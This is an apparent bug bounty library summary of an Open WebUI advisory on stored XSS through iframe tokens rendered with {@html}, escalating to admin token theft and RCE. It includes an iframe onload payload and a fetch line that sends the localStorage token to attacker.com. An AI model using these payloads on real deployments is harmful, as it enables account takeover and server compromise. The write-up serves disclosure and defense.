# Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions

Open WebUI rendered iframe markdown tokens via {@html}, letting a shared chat transcript execute JS to steal localStorage tokens and take over accounts.

- Payout: Research
- Severity: high
- Program: Open WebUI
- Found by: choket
- Disclosed: 2026-07-07
- CVE: CVE-2025-46719
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9f4f-jv96-8766
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9f4f-jv96-8766
- Tags: area:web domain:web impact:ato impact:mass-exploit impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:xss

**Target:** Svelte chat markdown renderer (MarkdownTokens.svelte) and shared chat transcripts
**Root cause:** MarkdownTokens.svelte checks only whether token.text includes the substring `<iframe src="${WEBUI_BASE_URL}/api/v1/files/` and then renders the whole token with Svelte's {@html}, so attacker-controlled attributes like onload are injected as live HTML.
**Steps:**
1. Craft a chat message containing `<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>` where the src matches the backend base URL.
2. Open the chat transcript; the onload fires because the token is rendered via {@html}.
3. Replace alert with `fetch("https://attacker.com/?token=" + localStorage.getItem("token"))` to exfiltrate the access token.
4. Share the transcript via the chat's 3-dot 'Share' menu, or upload to openwebui.com when Community Sharing is enabled.
5. With a stolen admin token, POST to /admin/functions to create a function containing arbitrary Python, achieving RCE.
**How found:** Code review of MarkdownTokens.svelte spotted a substring check on `<iframe src=.../api/v1/files/` followed by {@html} rendering, revealing that only the prefix is validated while remaining attributes pass through unescaped.
**Exploitation:** Attacker plants the iframe payload in a chat, shares it to same-server users or uploads to openwebui.com; on open, JS reads localStorage token and exfiltrates it. Stolen admin token is replayed against /admin/functions to run arbitrary Python on the backend. Wormable variant self-propagates by uploading infected chats to visitors' profiles on openwebui.com.
**Escalation:** Token theft of an admin escalates to backend RCE via the admin functions feature; community sharing turns it into wormable stored XSS across openwebui.com profiles.
**Insight:** When a renderer gates {@html} on a substring match rather than a full parse, the check only constrains the prefix—any trailing attributes (onload, onerror) survive. Grep Svelte/React dangerouslySetInnerHTML sinks for `includes(` guards and test attribute injection past the matched prefix.

## Proof of concept (copied exactly from the original report)

**XSS iframe payload with onload alert**

```
`<iframe src="http://localhost:8080/api/v1/files/" onload="alert(1)"></iframe>`
```

